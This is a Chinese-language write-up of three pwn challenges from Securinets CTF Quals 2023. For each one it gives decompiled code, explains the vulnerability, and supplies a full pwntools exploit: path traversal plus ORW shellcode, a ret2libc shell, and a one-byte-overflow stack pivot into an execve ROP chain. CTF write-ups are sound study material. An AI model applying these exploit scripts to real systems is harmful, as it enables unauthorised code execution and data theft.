[Securinets CTF Quals 2023] Admin Service,ret2libc,One is enough

news2024/11/29 3:43:13

 

只作了3个pwn,第4个附件没下下来,第5个不会

Admin Service

这是个最简单的题,最后来弄出来。原来只是看过关于maps文件的,一直没什么印象。

题目一开始设置seccomp禁用execv等,看来是用ORW,然后建了个mmap的可写可执行块

然后提供3个功能:

1,读文件,由于没限制..可以漏洞读任意文件,只检查flag字符串

2,更新配置,在4060起的偏移上写10字节,这理理论上得到地址后可以写任意位置

3,backup 当backupCall不为0且 s1='backup: 1'时可执行backupCall(),当然原始状态是空

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 Int; // rax

  setup();
  rules();
  backupCall = 0LL;
  s1 = 0LL;
  backupCode = (__int64)mmap(0LL, 8uLL, 7, 34, 0, 0LL);
  while ( 1 )
  {
    printMenu();
    puts("Choice:");
    Int = readInt();                            // 可以残留
    if ( Int == 4 )
      break;
    if ( Int <= 4 )
    {
      switch ( Int )
      {
        case 3LL:
          backupMessages();                     // backupCall !=0 ,s1='backup: 1', backupCall()
          break;
        case 1LL:
          readChat();
          break;
        case 2LL:
          updateConfig();
          break;
      }
    }
  }
  exit(0);
}

一开始始终不清楚怎么泄漏,后来想到看过一个关于maps文件的,这个文件在/proc/[pid]/maps这里边是加载的段地址。

5576375fa000-5576375fb000 r--p 00000000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fb000-5576375fc000 r-xp 00001000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fc000-5576375fd000 r--p 00002000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fd000-5576375fe000 r--p 00002000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375fe000-5576375ff000 rw-p 00003000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576375ff000-557637600000 rw-p 00005000 08:01 933322                     /home/kali/ctf/0803/m0/services
5576379b8000-5576379d9000 rw-p 00000000 00:00 0                          [heap]
7fe35d4df000-7fe35d4e0000 rwxp 00000000 00:00 0 
7fe35d4e0000-7fe35d4e3000 rw-p 00000000 00:00 0 
7fe35d4e3000-7fe35d509000 r--p 00000000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d509000-7fe35d65e000 r-xp 00026000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d65e000-7fe35d6b1000 r--p 0017b000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b1000-7fe35d6b5000 r--p 001ce000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b5000-7fe35d6b7000 rw-p 001d2000 08:01 933342                     /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b7000-7fe35d6c4000 rw-p 00000000 00:00 0 
7fe35d6c4000-7fe35d6c6000 r--p 00000000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6c6000-7fe35d6d4000 r-xp 00002000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6d4000-7fe35d6e2000 r--p 00010000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e2000-7fe35d6e3000 r--p 0001e000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e3000-7fe35d6e4000 rw-p 0001f000 08:01 933344                     /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e4000-7fe35d6e6000 rw-p 00000000 00:00 0 
7fe35d6e6000-7fe35d6e7000 r--p 00000000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d6e7000-7fe35d70c000 r-xp 00001000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d70c000-7fe35d716000 r--p 00026000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d716000-7fe35d718000 r--p 00030000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d718000-7fe35d71a000 rw-p 00032000 08:01 933333                     /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7ffe74183000-7ffe741a4000 rw-p 00000000 00:00 0                          [stack]
7ffe741d5000-7ffe741d9000 r--p 00000000 00:00 0                          [vvar]
7ffe741d9000-7ffe741db000 r-xp 00000000 00:00 0                          [vdso]

得到这个就好办了,用2写配置在backupCall写上个指针就能执行,但是只能执行一个函数,首先想到的是readchat的跳过检查写执行,但是地址没法写进去,readInt这个位置正好重合,选了菜单就没法用了。

看来一开始给的RWX段还是有用的,计算出RWX段与4060的偏移然后一点点写进去shellcode然后用backupCall执行。

不过远程始终连不上,没拿到flag

from pwn import *

#p = remote('pwn.ctf.securinets.tn', 4444)
p = process('./services')
context(arch='amd64', log_level='debug')

elf = ELF('./services')
libc = ELF('./libc.so.6')

def setcfg(idx, v):
    p.sendafter(b"Choice:", b'2')
    p.sendafter(b"Config index:", str(idx).encode())
    p.send(v)

def readchat(name):
    p.sendafter(b"Choice:", b'1')
    p.sendlineafter(b"Chat ID:\n", name)


readchat(b'../../../../../../proc/self/maps')

f_elf = False
f_libc = False
f_rwx = False
while True:
    line = p.recvline()
    if not f_elf:
        if b'services' in line:
            v = line.split(b'-')[0]
            elf.address = int(v,16)
            print(f"{ elf.address = :x}")
            f_elf = True 

    if not f_rwx:
        if b' rwxp ' in line:
            v = line.split(b'-')[0]
            heap_address = int(v,16)
            print(f"{ heap_address = :x}")
            f_rwx = True 

    if not f_libc:
        if b'libc.so.6' in line:
            v = line.split(b'-')[0]
            libc.address = int(v, 16)
            print(f"{libc.address = :x}")
            f_libc = True
    if f_elf and f_libc and f_rwx:
        break

#gdb.attach(p, f'b*0x{elf.address+0x186b :x}\nc')

#backupCall
setcfg(9, p64(heap_address))
#s1
setcfg(2, p64(elf.address + 0x20c2))

offset = (heap_address - elf.address - 0x4060)//8
pay = asm(shellcraft.open('./flag')+shellcraft.read(3, heap_address + 0x200, 0x50) + shellcraft.write(1,heap_address+0x200,0x50)) 
for i in range(0, len(pay), 8):
    setcfg(offset+i//8, pay[i:i+8])

p.sendafter(b"Choice:", b'3')
p.recvline()
p.interactive()

ret2libc

名字很直白,少走弯路。32位程序,直接给了个gets溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[80]; // [esp+0h] [ebp-58h] BYREF
  int *p_argc; // [esp+50h] [ebp-8h]

  p_argc = &argc;
  setup();
  puts("Is this solveable?");
  gets(s);
  return 0;
}

一看很简单,一作就麻爪,问题在这,当溢出后先pop ecx,ebx,ebp然后lea esp,[ecx-4],最后会跳到ecx-4这里。

 绕过的办法是在读入0x50,利用gets最后写入的\0覆盖掉ecx的末字节,当末字节是个适当值的时候就会跳s的某个位置执行(比如说40),这个概率还是比较大的。

from pwn import *

p = remote('pwn.ctf.securinets.tn', 6666)
#p = process('./main')
context(arch='i386', log_level='debug')

elf = ELF('./main')
libc = ELF('./libc.so.6')
ret = 0x8049224

p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(elf.plt['puts'], elf.sym['main'], elf.got['puts']))
libc.address = u32(p.recv(4)) - libc.sym['puts']

bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(system, elf.sym['main'], bin_sh))

p.sendline(b'cat /flag')
p.interactive()

One is enough

一看这名字,不会跟上题一样吧。还真有些一样。

菜单有3项,一是读名字,这个没什么用,二是读描述

__int64 __fastcall readDescription(__int64 a1, __int64 a2, __int64 a3)
{
  char v4[144]; // [rsp+10h] [rbp-90h] BYREF

  puts("Your description:", a2, a3);
  readInput((__int64)v4, 0x90uLL);
  return memMove((_BYTE *)(a1 + 16), v4, 144LL);
}

问题在于readInput这块,多读入一个字节

这样跟上题一样,多读这个字节会覆盖到rbp,这样后边再执行时遇到leave ret就会发生移栈(不是这个函数退出时,退出时只是把这个地址弹给rbp下次leave ret(main退出时)才会执行),选好一个位置让他移栈后执行。通过测试这个位置定48,试几次都成功。

题目是静态编译的没开pie,没用libc也就用不着泄露,不过只能执行syscall

这题还有个提示:没有输出,你不需要。

from pwn import *

p = remote('pwn.ctf.securinets.tn', 7777)
#p = process('./main2')
context(arch='amd64', log_level='debug')

elf = ELF('./main2')
pop_rdi = 0x0000000000401f3d # pop rdi ; ret
pop_rsi = 0x000000000040ab23 # pop rsi ; ret
pop_rbp = 0x0000000000401671 # pop rbp ; ret
pop_rdx = 0x0000000000463367 # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000431c77 # pop rax ; ret
leave_ret = 0x401910 
syscall = 0x00000000004011a2 # syscall
read = 0x401767
bss = 0x4acb00

p.sendline(b'2')
p.send(p64(0x40186d)*3 + flat(pop_rdi, 0x4acb00, pop_rsi,0x8, read, pop_rax, 59, pop_rdi, bss, pop_rsi,0, pop_rdx,0,0, syscall )+ p8(0x48))

p.sendline(b'3')

p.sendline(b'/bin/sh\x00')

p.sendline(b'cat flat.txt')
p.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/843520.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32 4G学习

硬件连接 ATK-IDM750C模块可直接与正点原子 MiniSTM32F103开发板板载的ATK模块接口&#xff08;ATK-MODULE&#xff09;进行连接。 功能说明 ATK-IDM750C是正点原子&#xff08;ALIENTEK&#xff09;团队开发的一款高性能4G Cat1 DTU产品&#xff0c;支持移动4G、联通4G和…

详细介绍golang中.()类型断言的使用方法

文章目录 一、什么是.()用法&#xff1f;二、.()的基本用法三、.()用法的高级应用3.1 nil类型的转换3.2 将函数作为参数传递 四、.()使用中的注意事项五、总结 Golang是一门非常流行的编程语言&#xff0c;在很多领域都有着广泛的应用。在开发过程中&#xff0c;很多时候我们需…

verxriscv中Fpu中的加法器add源码分析

一 加法器端口 case class AddInput() extends Bundle{val source = Source()val rs1, rs2 = FpuFloat(exponentSize = p.internalExponentSize, mantissaSize = p.internalMantissaSize+addExtraBits)val rd = p.rfAddress()val roundMode = FpuRoundMode()val format = p.wit…

华为harmonyos4.0鸿蒙4.0安装谷歌服务框架Play商店,解决从服务器检索信息时出错

8月4号华为手机发布了全新的harmonyos4.0鸿蒙4.0系统&#xff0c;很多人需要问还是不是支持谷歌服务框架&#xff1f;那么答案是肯定的&#xff0c;它和鸿蒙3是一样的&#xff0c;一样的操作&#xff0c;一样的支持安装谷歌服务框架&#xff0c;安装Google play商店。测试机型&…

【新】通达OA前台反序列化漏洞分析

0x01 前言 注&#xff1a;本文仅以安全研究为目的&#xff0c;分享对该漏洞的挖掘过程&#xff0c;文中涉及的所有漏洞均已报送给国家单位&#xff0c;请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA&#xff0c;在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说…

python+requests+json 接口测试思路示例

实际项目中用python脚本实现接口测试的步骤&#xff1a; 1 发送请求&#xff0c;获取响应 》》2 提取响应里的数据&#xff0c;对数据进行必要的处理 》》3 断言响应数据是否与预期一致 以豆瓣接口为例&#xff0c;做一个简单的接口测试吧。使用到的知识涉及requests库&…

Vue3 第三节 计算属性,监视属性,生命周期

1.computed计算属性 2.watch监视函数 3.watchEffect函数 4.Vue的生命周期函数 一.computed计算属性 计算属性简写和完整写法 <template><h1>一个人的信息</h1>姓&#xff1a;<input type"text" v-model"person.firstName" />…

车载A2B总线AD2428主从模式调试问题汇总

一&#xff0c;简介 在实际A2B总线一主一从模式的调试过程中下载程序出现许多报错提示&#xff0c;本文将遇到的错误进行汇总记录&#xff0c;方便相关开发者进行参考。 二&#xff0c;错误现象 2.1 Cable Terminal Shorted to Ground 主机IIS&#xff08;TDM&#xff09;线…

Mir 2.14 正式发布,Ubuntu 使用的 Linux 显示服务器

Canonical 公司最近发布了 Mir 2.14&#xff0c;这是该项目的最新版本。 Mir 2.14 在 Wayland 方面通过 ext-session-lock-v1 协议增加了对屏幕锁定器 (screen lockers) 的支持&#xff0c;并最终支持 Wayland 拖放。此外还整合了渲染平台的实现&#xff0c;放弃了之前在 Raspb…

常见监控网络链路和网络设备的方法

网络监控主要包括网络链路监控和网络设备监控&#xff0c;通常系统运维人员会比较关注。 一、网络链路监控 网络链路监控主要包含三个部分&#xff0c;网络连通性、网络质量、网络流量。 连通性和质量的监控手段非常简单&#xff0c;就是在链路一侧部署探针&#xff0c;去探…

搭建 elasticsearch8.8.2 伪集群 windows

下载windows 版本 elasticsearch8.8.2 以下链接为es 历史版本下载地址&#xff1a; Past Releases of Elastic Stack Software | Elastic windows 单节点建立方案&#xff1a; 下载安装包 elasticsearch-8.8.2-windows-x86_64.zip https://artifacts.elastic.co/download…

设计模式原来是这样

目录 概述: 什么是模式&#xff01;&#xff01; 为什么学习模式&#xff01;&#xff01; 模式和框架的比较&#xff1a; 设计模式研究的历史 关于pattern的历史 Gang of Four(GoF) 关于”Design”Pattern” 重提&#xff1a;指导模式设计的三个概念 1.重用(reuse)…

Linux:shell脚本:基础使用(2)

test命令 格式1&#xff1a;test 条件表达式 格式2&#xff1a;[ 条件表达式 ] (前后至少应有一个空格) 常用的测试操作符 -d&#xff1a;测试是否为目录&#xff08;Directory) -e&#xff1a;测试目录或文件是否存在&#xff08;Exist&#xff09; -f&#xff1a;测试是否…

【C++】Lambda表达式的使用

学习目标&#xff1a; 例如&#xff1a; 了解Lambda的优点 掌握Lambda表达式的使用 了解Lambda表达式的底层原理 学习内容&#xff1a; Lambda表达式的语法 文章目录 学习目标&#xff1a;学习内容&#xff1a;Lambda表达式排序案例Lambda表达式语法捕捉列表Lambda表达式模拟…

20230806将ASF格式的视频转换为MP4

20230806将ASF格式的视频转换为MP4 2023/8/6 18:47 缘起&#xff0c;自考中山大学的《计算机网络》&#xff0c;考试《数据库系统原理》的时候找到视频&#xff0c;由于个人的原因&#xff0c;使用字幕更加有学习效率&#xff01; 由于【重型】的PR2023占用资源较多&#xff0c…

laravel语言包问题

1、更新vendor composer require "overtrue/laravel-lang:3.0" 2、修正配置文件 config/app.php 3、 php artisan config:clear 更新缓存 4、设定新的语言包 在这个resources\lang目录下加即可

海康威视摄像头配置RTSP协议访问、onvif协议接入、二次开发SDK接入

一、准备工作 (1)拿到摄像头之后,将摄像头电源线插好,再将网线插入到路由器上。 (2)将自己的笔记本电脑也连接到路由器网络,与摄像头出在同一个局域网。 二、配置摄像头 2.1 激活方式选择 第一次使用设备需要激活,在进行配置。 最简单,最方便的方式是选择浏览器激…

【嵌入式环境下linux内核及驱动学习笔记-(18)LCD驱动框架1-LCD控制原理】

目录 1、LCD显示系统介绍1.1 LCD显示基本原理1.1.1 颜色的显示原理&#xff1a;1.1.2 图像的构成 1.2 LCD接口介绍1.2.1 驱动接口 - MCU接口1.2.2 驱动接口 - RGB接口1.2.3 驱动接口 - LVDS接口1.2.4 驱动接口 - MIPI接口1.2.5 RGB / MIPI / LVDS三种接口方式的区别&#xff1a…

【数据结构OJ题】轮转数组

原题链接&#xff1a;https://leetcode.cn/problems/rotate-array/ 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 1. 方法一&#xff1a;暴力求解&#xff0c;将数组的第一个元素用临时变量tmp存起来&#xff0c;再将数组其他元素往右挪动一步&…

分享kubernetes部署:基于Ansible自动安装kubernetes

基于Ansible自动安装kubernetes 环境准备 我们以如下机器环境为例&#xff1a; 开放端口&#xff1a; 控制平面节点 工作节点 请按如上中规定的开放端口&#xff0c;或关闭防火墙&#xff1a; systemctlstopfirewalld&&\ systemctldisablefirewalld 安装常用工具 sudo…